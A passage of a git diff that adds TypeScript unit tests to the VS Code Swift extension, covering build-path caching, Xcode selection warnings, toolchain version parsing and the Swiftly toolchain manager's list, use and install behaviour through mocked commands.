expect(execSwiftSpy).to.have.been.calledOnce; + + const [args, , options] = execSwiftSpy.firstCall.args; + expect(args).to.include("build"); + expect(args).to.include("--show-bin-path"); + expect(args).to.include("--configuration"); + expect(args).to.include("debug"); + expect(options.cwd).to.equal("/test/workspace"); + }); + + test("release configuration calls swift build with correct arguments", async () => { + const result = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "release", + instance(logger) + ); + + expect(result).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; + + const [args] = execSwiftSpy.firstCall.args; + expect(args).to.include("--configuration"); + expect(args).to.include("release"); + }); + + test("includes build arguments in command", async () => { + buildArgsConfig.setValue(["--build-system", "swiftbuild"]); + + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + + const [args] = execSwiftSpy.firstCall.args; + expect(args).to.include("--build-system"); + expect(args).to.include("swiftbuild"); + }); + + test("caches results based on workspace and configuration", async () => { + // First call + const result1 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + expect(result1).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; + + // Second call should use cache + const result2 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + expect(result2).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; // Still only one call + + // Different configuration should not use cache + const result3 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "release", + instance(logger) + ); + expect(result3).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledTwice; + }); + + test("different build arguments create different cache entries", async () => { + // First call with no build arguments + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledOnce; + + // Change build arguments + buildArgsConfig.setValue(["--build-system", "swiftbuild"]); + + // Second call should not use cache due to different build arguments + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledTwice; + }); + + test("falls back to traditional path on error", async () => { + // Restore the previous stub first + sinon.restore(); + + // Mock execSwift to throw an error + execSwiftSpy = sinon.spy(() => Promise.reject(new Error("Command failed"))); + const utilities = await import("@src/utilities/utilities"); + sinon.replace(utilities, "execSwift", execSwiftSpy); + + const log = instance(logger); + const result = await buildFlags.getBuildBinaryPath("/test/workspace", "debug", log); + + // Should fallback to traditional path + expect(result).to.equal(path.normalize("/test/workspace/.build/debug")); + expect(log.warn).to.have.been.calledOnce; + }); + + test("clearBuildPathCache clears all cached entries", async () => { + // Cache some entries + await buildFlags.getBuildBinaryPath("cwd", "debug", instance(logger)); + await buildFlags.getBuildBinaryPath("cwd", "release", instance(logger)); + expect(execSwiftSpy).to.have.been.calledTwice; + + // Clear cache + BuildFlags.clearBuildPathCache(); + + // Next calls should execute again + await buildFlags.getBuildBinaryPath("cwd", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledThrice; + }); + }); +}); diff --git a/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts new file mode 100644 index 000000000..286276ee1 --- /dev/null +++ b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts @@ -0,0 +1,205 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { Commands } from "@src/commands"; +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { SelectedXcodeWatcher } from "@src/toolchain/SelectedXcodeWatcher"; +import * as ReloadExtension from "@src/ui/ReloadExtension"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; + +suite("Selected Xcode Watcher", () => { + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + let mockLogger: MockedObject; + const pathConfig = mockGlobalValue(configuration, "path"); + const envConfig = mockGlobalValue(configuration, "swiftEnvironmentVariables"); + const mockWorkspace = mockGlobalObject(vscode, "workspace"); + const mockCommands = mockGlobalObject(vscode, "commands"); + let mockSwiftConfig: MockedObject; + const mockReloadExtension = mockGlobalModule(ReloadExtension); + + setup(function () { + // Xcode only exists on macOS, so the SelectedXcodeWatcher is macOS-only. + if (process.platform !== "darwin") { + this.skip(); + } + + mockLogger = mockObject({ + debug: mockFn(), + info: mockFn(), + }); + + pathConfig.setValue(""); + envConfig.setValue({}); + + mockSwiftConfig = mockObject({ + inspect: mockFn(), + update: mockFn(), + }); + mockWorkspace.getConfiguration.returns(instance(mockSwiftConfig)); + + mockReloadExtension.showReloadExtensionNotification.callsFake(async (message: string) => { + return vscode.window.showWarningMessage(message, "Reload Extensions"); + }); + }); + + async function run(symLinksOnCallback: (string | undefined)[]) { + return new Promise(resolve => { + let ctr = 0; + const watcher = new SelectedXcodeWatcher(instance(mockLogger), { + checkIntervalMs: 1, + xcodeSymlink: async () => { + if (ctr >= symLinksOnCallback.length) { + watcher.dispose(); + resolve(); + return; + } + const response = symLinksOnCallback[ctr]; + ctr += 1; + return response; + }, + }); + }); + } + + test("Does nothing when the symlink is undefined", async () => { + await run([undefined, undefined]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.not.been.called; + }); + + test("Does nothing when the symlink is identical", async () => { + await run(["/foo", "/foo"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.not.been.called; + }); + + test("Prompts to restart when the symlink changes", async () => { + await run(["/foo", "/bar"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + "The Swift Extension has detected a change in the selected Xcode. Please reload the extension to apply the changes.", + "Reload Extensions" + ); + }); + + suite('"swift.path" is out of date', () => { + setup(() => { + pathConfig.setValue("/path/to/swift/bin"); + }); + + test("Warns that setting is out of date on startup", async () => { + await run(["/foo", "/foo"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your "swift.path" setting. Would you like to update your configured "swift.path" setting?', + "Remove From Settings", + "Select Toolchain" + ); + }); + + test("Remove setting", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Remove From Settings" as any); + + await run(["/foo", "/foo"]); + + expect(mockSwiftConfig.update.args).to.deep.equal([ + ["path", undefined, vscode.ConfigurationTarget.Global], + ["path", undefined, vscode.ConfigurationTarget.Workspace], + ]); + }); + + test("Select toolchain", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Select Toolchain" as any); + + await run(["/foo", "/foo"]); + + expect(mockCommands.executeCommand).to.have.been.calledOnceWith( + Commands.SELECT_TOOLCHAIN + ); + }); + + test("Warns that setting is out of date", async () => { + envConfig.setValue({ DEVELOPER_DIR: "/bar" }); + await run([undefined, "/bar", "/bar"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your "swift.path" setting. Would you like to update your configured "swift.path" setting?', + "Remove From Settings", + "Select Toolchain" + ); + }); + }); + + suite("DEVELOPER_DIR is out of date", () => { + setup(() => { + pathConfig.setValue("/path/to/swift/bin"); + envConfig.setValue({ DEVELOPER_DIR: "/bar" }); + }); + + test("Warns that environment is out of date on startup", async () => { + pathConfig.setValue("/path/to/swift/bin"); + + await run(["/foo", "/foo"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your DEVELOPER_DIR in the "swift.swiftEnvironmentVariables" setting. Would you like to update your configured "swift.swiftEnvironmentVariables" setting?', + "Remove From Settings", + "Select Toolchain" + ); + }); + + test("Remove setting", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Remove From Settings" as any); + + await run(["/foo", "/foo"]); + + expect(mockSwiftConfig.update.args).to.deep.equal([ + ["path", undefined, vscode.ConfigurationTarget.Global], + ["path", undefined, vscode.ConfigurationTarget.Workspace], + ]); + }); + + test("Select toolchain", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Select Toolchain" as any); + + await run(["/foo", "/foo"]); + + expect(mockCommands.executeCommand).to.have.been.calledOnceWith( + Commands.SELECT_TOOLCHAIN + ); + }); + + test("Warns that setting is out of date", async () => { + await run(["/bar", "/foo", "/foo"]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your DEVELOPER_DIR in the "swift.swiftEnvironmentVariables" setting. Would you like to update your configured "swift.swiftEnvironmentVariables" setting?', + "Remove From Settings", + "Select Toolchain" + ); + }); + }); +}); diff --git a/test/unit-tests/toolchain/ToolchainVersion.test.ts b/test/unit-tests/toolchain/ToolchainVersion.test.ts new file mode 100644 index 000000000..ea7626168 --- /dev/null +++ b/test/unit-tests/toolchain/ToolchainVersion.test.ts @@ -0,0 +1,33 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; + +import { ToolchainVersion } from "@src/toolchain/ToolchainVersion"; + +suite("ToolchainVersion Unit Test Suite", () => { + test("Parses snapshot", () => { + const version = ToolchainVersion.parse("main-snapshot-2025-03-28"); + expect(version.identifier).to.equal("swift-DEVELOPMENT-SNAPSHOT-2025-03-28-a"); + }); + + test("Parses release snapshot", () => { + const version = ToolchainVersion.parse("6.0-snapshot-2025-03-28"); + expect(version.identifier).to.equal("swift-6.0-DEVELOPMENT-SNAPSHOT-2025-03-28-a"); + }); + + test("Parses stable", () => { + const version = ToolchainVersion.parse("6.0.3"); + expect(version.identifier).to.equal("swift-6.0.3-RELEASE"); + }); +}); diff --git a/test/unit-tests/toolchain/swiftly.test.ts b/test/unit-tests/toolchain/swiftly.test.ts new file mode 100644 index 000000000..dd3c38b55 --- /dev/null +++ b/test/unit-tests/toolchain/swiftly.test.ts @@ -0,0 +1,1497 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import * as mockFS from "mock-fs"; +import * as os from "os"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import * as askpass from "@src/askpass/askpass-server"; +import { installSwiftlyToolchainWithProgress } from "@src/commands/installSwiftlyToolchain"; +import * as SwiftOutputChannelModule from "@src/logging/SwiftOutputChannel"; +import { + Swiftly, + handleMissingSwiftlyToolchain, + parseSwiftlyMissingToolchainError, +} from "@src/toolchain/swiftly"; +import * as utilities from "@src/utilities/utilities"; + +import { instance, mockGlobalModule, mockGlobalObject, mockGlobalValue } from "../../MockUtils"; + +suite("Swiftly Unit Tests", () => { + const mockAskpass = mockGlobalModule(askpass); + const mockUtilities = mockGlobalModule(utilities); + const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedEnv = mockGlobalValue(process, "env"); + const mockSwiftOutputChannelModule = mockGlobalModule(SwiftOutputChannelModule); + const mockOS = mockGlobalModule(os); + + setup(() => { + mockAskpass.withAskpassServer.callsFake(task => task("nonce", 8080)); + mockUtilities.execFile.reset(); + mockUtilities.execFileStreamOutput.reset(); + mockSwiftOutputChannelModule.SwiftOutputChannel.reset(); + mockOS.tmpdir.reset(); + + // Mock os.tmpdir() to return a valid temp directory path for Windows compatibility + mockOS.tmpdir.returns(process.platform === "win32" ? "C:\\temp" : "/tmp"); + + // Mock SwiftOutputChannel constructor to return a basic mock + mockSwiftOutputChannelModule.SwiftOutputChannel.callsFake( + () => + ({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + }) as any + ); + + mockedPlatform.setValue("darwin"); + mockedEnv.setValue({}); + mockFS({}); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("use()", () => { + test("sets the global toolchain if no cwd is provided", async () => { + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // "swiftly use" succeeds + mockUtilities.execFile.withArgs("swiftly", match.array.startsWith(["use"])).resolves(); + + await Swiftly.use("6.1.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "use", + "-y", + "--global-default", + "6.1.0", + ]); + }); + + test("sets the toolchain in cwd if it is provided", async () => { + // CWD exists + mockFS({ "/home/user/project": mockFS.directory() }); + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // "swiftly use" succeeds + mockUtilities.execFile.withArgs("swiftly", match.array.startsWith(["use"])).resolves(); + + await Swiftly.use("6.1.0", "/home/user/project"); + + expect(mockUtilities.execFile).to.have.been.calledWith( + "swiftly", + ["use", "-y", "6.1.0"], + match.has("cwd", "/home/user/project") + ); + const stats = await fs.stat("/home/user/project/.swift-version"); + expect(stats.isFile(), "Expected .swift-version file to be created").to.be.true; + }); + }); + + suite("list()", () => { + test("should return toolchain names from list command for version 1.1.0", async () => { + // Mock version check to return 1.1.0 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + + // Mock list command with JSON output + mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 9, + patch: 0, + name: "swift-5.9.0-RELEASE", + type: "stable", + }, + }, + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 10, + patch: 0, + name: "swift-5.10.0-RELEASE", + type: "stable", + }, + }, + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 10, + patch: 1, + name: "swift-5.10.1-RELEASE", + type: "stable", + }, + }, + { + inUse: false, + isDefault: false, + version: { + name: "xcode", + type: "system", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2021-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2021-10-15-a", + type: "snapshot", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2023-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + type: "snapshot", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 8, + patch: 0, + name: "swift-5.8.0-RELEASE", + type: "stable", + }, + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.list(); + + // Toolchains should be sorted newest to oldest with system toolchains appearing first, followed by + // stable toolchains, and finally snapshot toolchains. + expect(result).to.deep.equal([ + "xcode", + "swift-5.10.1-RELEASE", + "swift-5.10.0-RELEASE", + "swift-5.9.0-RELEASE", + "swift-5.8.0-RELEASE", + "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + "swift-DEVELOPMENT-SNAPSHOT-2021-10-15-a", + ]); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "list", + "--format=json", + ]); + }); + + test("should be able to parse future additions to the output and ignore unexpected types", async () => { + // Mock version check to return 1.1.0 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // Mock list command with JSON output + mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + isDefault: false, + version: { + name: "xcode", + type: "system", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + // Try adding an unexpected version type. + type: "something_else", + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 9, + patch: 0, + name: "swift-5.9.0-RELEASE", + type: "stable", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 8, + patch: 0, + name: "swift-5.8.0-RELEASE", + type: "stable", + newProp: 1, // Try adding a new property. + }, + newProp: "", // Try adding a new property. + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2023-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + type: "snapshot", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.list(); + + expect(result).to.deep.equal([ + "xcode", + "swift-5.9.0-RELEASE", + "swift-5.8.0-RELEASE", + "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + ]); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "list", + "--format=json", + ]); + }); + + test("should return toolchain names from the configuration file for version 1.0.1", async () => { + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.1\n", + stderr: "", + }); + + // Swiftly home directory contains a config.json + mockedEnv.setValue({ SWIFTLY_HOME_DIR: "/home/.swiftly" }); + mockFS({ + "/home/.swiftly/config.json": JSON.stringify({ + installedToolchains: ["swift-5.9.0", "swift-6.0.0"], + }), + }); + + const result = await Swiftly.list(); + + // Toolchains should be sorted by name in descending order + expect(result).to.deep.equal(["swift-6.0.0", "swift-5.9.0"]); + }); + + test("should return empty array when platform is not supported", async () => { + mockedPlatform.setValue("win32"); + + const result = await Swiftly.list(); + + expect(result).to.deep.equal([]); + expect(mockUtilities.execFile).not.have.been.called; + }); + + test("should warn and return empty array when version is null", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + // Mock version to return undefined (not installed) + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.list(mockLogger as any); + + expect(result).to.deep.equal([]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + + test("list should handle errors and return empty array", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile.withArgs("swiftly", ["--version"]).rejects(new Error("error")); + + const result = await Swiftly.list(instance(mockLogger)); + + expect(result).to.deep.equal([]); + }); + + test("getToolchainInstallLegacy should return empty array when installedToolchains is not an array", async () => { + mockedPlatform.setValue("darwin"); + mockedEnv.setValue({ SWIFTLY_HOME_DIR: "/test/swiftly" }); + + // Mock getConfig to return invalid installedToolchains + const mockConfig = { + installedToolchains: "not-an-array", + }; + + mockFS.restore(); + mockFS({ + "/test/swiftly/config.json": JSON.stringify(mockConfig), + }); + + const result = await (Swiftly as any).listFromSwiftlyConfig(); + + expect(result).to.deep.equal([]); + }); + }); + + suite("version", () => { + test("should return undefined on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await Swiftly.version(); + + expect(result).to.be.undefined; + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should handle execFile errors", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.version(mockLogger as any); + + expect(result).to.be.undefined; + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + }); + + suite("supportsJsonOutput", () => { + test("should return false on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await (Swiftly as any).supportsJsonOutput(); + + expect(result).to.be.false; + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should handle execFile errors and log them", async () => { + mockedPlatform.setValue("darwin"); + const mockLogger = { + info: () => {}, + error: () => {}, + warn: () => {}, + debug: () => {}, + }; + + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command failed")); + + const result = await (Swiftly as any).supportsJsonOutput(mockLogger); + + expect(result).to.be.false; + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + }); + }); + + suite("installToolchain", () => { + test("should throw error on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined) + ).to.eventually.be.rejectedWith("Swiftly is not supported on this platform"); + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should install toolchain successfully on macOS without progress callback", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + const tmpDir = os.tmpdir(); + mockFS({ + [tmpDir]: {}, + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + ["install", "6.0.0", "--assume-yes", "--post-install-file", match.string], + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should attempt to install toolchain with progress callback on macOS", async () => { + mockedPlatform.setValue("darwin"); + const progressCallback = () => {}; + + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + mockUtilities.execFileStreamOutput.withArgs("swiftly", match.array).resolves(); + os.tmpdir(); + mockFS({}); + + // This test verifies the method starts the installation process + // The actual file stream handling is complex to mock properly + try { + await Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes + expect((error as Error).message).to.include("ENOENT"); + } + + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + }); + + test("should handle installation error properly", async () => { + mockedPlatform.setValue("darwin"); + const installError = new Error("Installation failed"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").rejects(installError); + + const tmpDir = os.tmpdir(); + mockFS({ + [tmpDir]: {}, + }); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", undefined) + ).to.eventually.be.rejectedWith("Installation failed"); + }); + }); + + suite("listAvailable()", () => { + test("should return empty array on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly is not installed", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly version doesn't support JSON output", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.0\n", + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return available toolchains with installation status", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "system", + name: "xcode", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 1, + name: "6.0.1", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 9, + patch: 0, + name: "5.9.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 5, + minor: 9, + branch: "main", + date: "2023-01-15", + name: "main-snapshot-2023-01-15", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 10, + patch: 0, + name: "5.10.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 5, + minor: 10, + patch: 1, + name: "5.10.1", + }, + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + + // Toolchains should be sorted newest to oldest with system toolchains appearing first, followed by + // stable toolchains, and finally snapshot toolchains. + expect(result.map(toolchain => toolchain.version.name)).to.deep.equal([ + "xcode", + "6.0.1", + "6.0.0", + "5.10.1", + "5.10.0", + "5.9.0", + "main-snapshot-2025-01-15", + "main-snapshot-2023-01-15", + ]); + }); + + test("should be able to parse future additions to the output and ignore unexpected types", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + // Try adding an unexpected version type. + type: "something_else", + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + newProp: 1, // Try adding a new property. + }, + newProp: 1, // Try adding a new property. + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + ]); + }); + + test("should handle errors when fetching available toolchains", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .rejects(new Error("Network error")); + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([]); + }); + + test("should handle snapshot toolchains without major/minor fields", async () => { + mockedPlatform.setValue("darwin"); + + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + + const snapshotResponse = { + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-26", + name: "main-snapshot-2025-08-26", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-25", + name: "main-snapshot-2025-08-25", + }, + }, + ], + }; + + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json", "main-snapshot"]) + .resolves({ + stdout: JSON.stringify(snapshotResponse), + stderr: "", + }); + + const result = await Swiftly.listAvailable("main-snapshot"); + expect(result).to.deep.equal([ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-26", + name: "main-snapshot-2025-08-26", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + type: "snapshot", + branch: "main", + date: "2025-08-25", + name: "main-snapshot-2025-08-25", + }, + }, + ]); + }); + }); + + suite("Post-Install", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("should call installToolchain with correct parameters", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + // Verify swiftly install was called with post-install file argument + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + ["install", "6.0.0", "--assume-yes", "--post-install-file", match.string], + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should handle swiftly installation errors", async () => { + const installError = new Error("Swiftly installation failed"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").rejects(installError); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension") + ).to.eventually.be.rejectedWith("Swiftly installation failed"); + }); + + test("should handle mkfifo creation errors", async () => { + const mkfifoError = new Error("Cannot create named pipe"); + mockUtilities.execFile.withArgs("mkfifo").rejects(mkfifoError); + + const progressCallback = () => {}; + + await expect( + Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback) + ).to.eventually.be.rejectedWith("Cannot create named pipe"); + }); + + test("should install without progress callback successfully", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + // mkfifo should not be called when no progress callback is provided + 